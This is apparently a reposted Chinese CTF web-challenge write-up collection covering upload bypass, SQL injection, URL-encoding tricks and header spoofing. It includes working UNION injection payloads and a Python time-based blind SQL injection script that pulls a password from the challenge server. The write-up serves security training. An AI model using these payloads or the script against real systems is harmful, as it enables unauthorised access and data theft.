zoukankan      html  css  js  c++  java
  • 1010.CTF 题目之 WEB Writeup 通关大全 – 4

    Web题目系列4

    上传绕过

    题目链接

    http://shiyanbar.com/ctf/1781

    题目描述

    bypass the upload
    
    格式:flag{}
    

    解题思路

    随意上传文件,发现提示只能上传图片文件,上传图片后,看到发送包的内容为

    推测最后保存文件的名称为dir + filename,所以使用00截断来构造绕过php不能上传的问题。


    flag{SimCTF_huachuan}

    NSCTF web200

    题目链接

    http://shiyanbar.com/ctf/1760

    题目描述

    密文:a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws
    格式:flag:{}
    

    解题思路

    a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws
    =》rot13解码:
    n1mYotDfPRFRVdEYjhDNlZjYld2Y5IjOkdTN3EDNlhzM0gzZiFTZ2MjO4gjf
    =>reverse:
    fjg4OjM2ZTFiZzg0MzhlNDE3NTdkOjI5Y2dlYjZlNDhjYEdVRFRPfDtoYm1n
    =》base64解码:
    ~88:36e1bg8438e41757d:29cgeb6e48c`GUDTO|;hbmg
    
    <?php
    $_o="~88:36e1bg8438e41757d:29cgeb6e48c`GUDTO|;hbmg";
    $_="";
    for($_0=0;$_0
    

    flag:{NSCTF_b73d5adfb819c64603d7237fa0d52977}

    程序逻辑问题

    题目链接

    http://shiyanbar.com/ctf/62

    题目描述

    绕过
    

    解题思路

    打开题目后,发现源码中有index.txt,此文件为该题目源码,打开进行审计。

    <html>
    <head>
    welcome to simplexue
    </head>
    <body>
    <?php
    if($_POST[user] && $_POST[pass]) {
        $conn = mysql_connect("********", "*****", "********");
        mysql_select_db("phpformysql") or die("Could not select database");
        if ($conn->connect_error) {
            die("Connection failed: " . mysql_error($conn));
    } 
    $user = $_POST[user];
    $pass = md5($_POST[pass]);
    $sql = "select pw from php where user='$user'";
    $query = mysql_query($sql);
    if (!$query) {
        printf("Error: %s
    ", mysql_error($conn));
        exit();
    }
    $row = mysql_fetch_array($query, MYSQL_ASSOC);
    //echo $row["pw"];
      if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) {
        echo "<p>Logged in! Key:************** </p>";
    }
    else {
        echo("<p>Log in failure!</p>");
      }
    }
    ?>
    <form method=post action=index.php>
    <input type=text name=user value="Username">
    <input type=password name=pass value="Password">
    <input type=submit>
    </form>
    </body>
    <a href="index.txt">
    </html>
    

    审计该题目,发现有两个条件。
    1. 首先通过user查询用户
    2. 然后通过查询出的用户,拿出pw和用户输入的pw进行比计较,如果相等,则登录成功。

    存在的漏洞点:在查询用户时,user没有经过过去,可以进行注入,所以,通过构造注入,让查询出的结果能够被用户输入控制,和pw一样,就绕过了第二个比较。

    直接给出payloaduser=' union select md5(1)# and &amp;pass=1,这条语句拼出的sql语句为select pw from php where user='' union select md5(1)#‘。这样查询出的pw值就是用户输入的md5(1),当pass参数也输入1时,就绕过了条件了,得到flag :SimCTF{youhaocongming}。

    what a fuck!这是什么鬼东西?

    题目链接

    http://shiyanbar.com/ctf/56

    题目描述

    what a fuck!这是什么鬼东西?
    

    解题思路

    打开题目,就可以看到是jsfuck编码,直接在浏览器console控制台执行这段代码就可以了。

    flag : Ihatejs

    PHP大法

    题目链接

    http://shiyanbar.com/ctf/54

    题目描述

    注意备份文件
    

    解题思路

    打开题目看到备份文件index.php.txt

    <?php
    if(eregi("hackerDJ",$_GET[id])) {
      echo("<p>not allowed!</p>");
      exit();
    }
    
    $_GET[id] = urldecode($_GET[id]);
    if($_GET[id] == "hackerDJ")
    {
      echo "<p>Access granted!</p>";
      echo "<p>flag: *****************} </p>";
    }
    ?>
    
    <br><br>
    Can you authenticate to this website?
    

    从源代码可以看到,当输入是hackerDJ时,题目会返回not allowed,当输入经过url解码时是hackerDJ时,返回flag。这里使用两次url编码,就可以绕过第一个条件,在第二个条件经过ruldecode后,两次编码的输入id转化为正常的ascii。payload %2568ackerDJ

    DUTCTF{PHP_is_the_best_program_language}

    这个看起来有点简单!

    题目链接

    http://shiyanbar.com/ctf/33

    题目描述

    很明显。过年过节不送礼,送礼就送这个
    

    解题思路

    使用id=1 and 1=1,回显正常,使用id=1 and 1=2,回显中没有数据,易得此题目存在sql注入漏洞。后面直接给出payload。

    id=1 union select 1,schema_name from information_schema.schemata

    id=1 union select 1,table_name from information_schema.tables where table_schema='my_db'

    id=1 union select 1,column_name from information_schema.columns where table_schema='my_db'

    id=1 union select 1,k0y from thiskey

    flag : whatiMyD91dump

    貌似有点难

    题目链接

    http://shiyanbar.com/ctf/32

    题目描述

    不多说,去看题目吧。
    

    解题思路

    进入题目后,直接点开View the source code查看源代码。

    <?php
    function GetIP(){
    if(!empty($_SERVER["HTTP_CLIENT_IP"]))
        $cip = $_SERVER["HTTP_CLIENT_IP"];
    else if(!empty($_SERVER["HTTP_X_FORWARDED_FOR"]))
        $cip = $_SERVER["HTTP_X_FORWARDED_FOR"];
    else if(!empty($_SERVER["REMOTE_ADDR"]))
        $cip = $_SERVER["REMOTE_ADDR"];
    else
        $cip = "0.0.0.0";
    return $cip;
    }
    
    $GetIPs = GetIP();
    if ($GetIPs=="1.1.1.1"){
    echo "Great! Key is *********";
    }
    else{
    echo "错误!你的IP不在访问列表之内!";
    }
    ?>
    

    看源码,发现直接修改ip就可以了,抓包重放。

    SimCTF{daima_shengji}

    头有点大

    题目链接

    http://shiyanbar.com/ctf/29

    题目描述

    提示都这么多了,再提示就没意思了。
    

    解题思路

    根据题目意思要满足三个条件才可以:
    1. 安装.net9.9框架。
    2. 第二个是保证在英国地区。
    3. 第三个是用ie浏览器。
    第一个和第三个我们可以在User-Agent后加上(MSIE 9.0;.NET CLR 9.9)来实现,最后一个在英国我们把语言改成en-gb即可。

    猫抓老鼠

    题目链接

    http://shiyanbar.com/ctf/20

    题目描述

    catchcatchcatch!嘿嘿,不多说了,再说剧透了
    

    解题思路

    这是一道脑洞题!所以访问抓包,看到响应包中有一个字段Content-Row,将这个参数的值当做pass+key提交,就拿到了flag。

    看起来有点难

    题目链接

    http://shiyanbar.com/ctf/2

    题目描述

    切,你那水平也就这么点了,这都是什么题啊!!!
    

    解题思路

    使用各种万能注入不能登录,测试payloadhttp://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin' and sleep(10) and ''='&amp;pass=&amp;action=login,发现响应时间很长,确认该题目为sleep盲注。

    给出脚本的payloadadmin=admin' and case when(substr(password,%s,1)='%s') then sleep(10) else sleep(0) end and ''='&amp;pass=&amp;action=login,其中第一个%s 为password字段的第几位开始,第二个%s表示ascii字符。

    __author__ = 'netfish'
    # -*-coding:utf-8-*-
    
    import requests
    import time
    
    payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.{}-'  #不区分大小写的
    
    flag = ""
    key=0
    print("Start")
    for i in range(1,50):
        if key == 1:
            break
        for payload in payloads:
            starttime = time.time()#记录当前时间
            headers = {"Host": "ctf5.shiyanbar.com",
                       "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36",
                       "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
                       "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3",
                       "Accept-Encoding": "gzip, deflate",
                       "Cookie": "Hm_lvt_34d6f7353ab0915a4c582e4516dffbc3=1470994390,1470994954,1470995086,1471487815; Hm_cv_34d6f7353ab0915a4c582e4516dffbc3=1*visitor*67928%2CnickName%3Ayour",
                       "Connection": "keep-alive",
                       }
            url = "http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin' and case when(substr(password,%s,1)='%s') then sleep(5) else sleep(0) end and ''='&pass=&action=login" %(i,payload)#数据库
            res = requests.get(url, headers=headers)
            if time.time() - starttime > 5:
                flag += payload
                print('
     pwd is:', flag)
                break
            else:
                if payload == '-':
                    key = 1
                    break
    print('
    [Finally] current pwd is %s' % flag)
    


    跑出密码 idnuenna

  • 相关阅读:
    JavaWeb学习笔记(十四)—— 使用JDBC处理MySQL大数据
    JavaWeb学习笔记(十三)—— JDBC时间类型的处理
    JavaWeb学习笔记(十二)—— JDBC的基本使用
    JavaWeb学习笔记(十一)—— JavaWeb开发模式【转】
    JavaWeb学习笔记(十)—— JavaBean总结【转】
    JavaWeb学习笔记(九)—— JSTL标签库
    【转】org.apache.jasper.JasperException: The absolute uri: http://java.sun.com/jsp/jstl/core cannot be res
    JavaWeb学习笔记(八)—— EL表达式
    JavaWeb学习笔记(七)—— JSP
    负载均衡,分布式,集群的理解,多台服务器代码如何同步
  • 原文地址:https://www.cnblogs.com/beijibing/p/10393315.html
Copyright © 2011-2022 走看看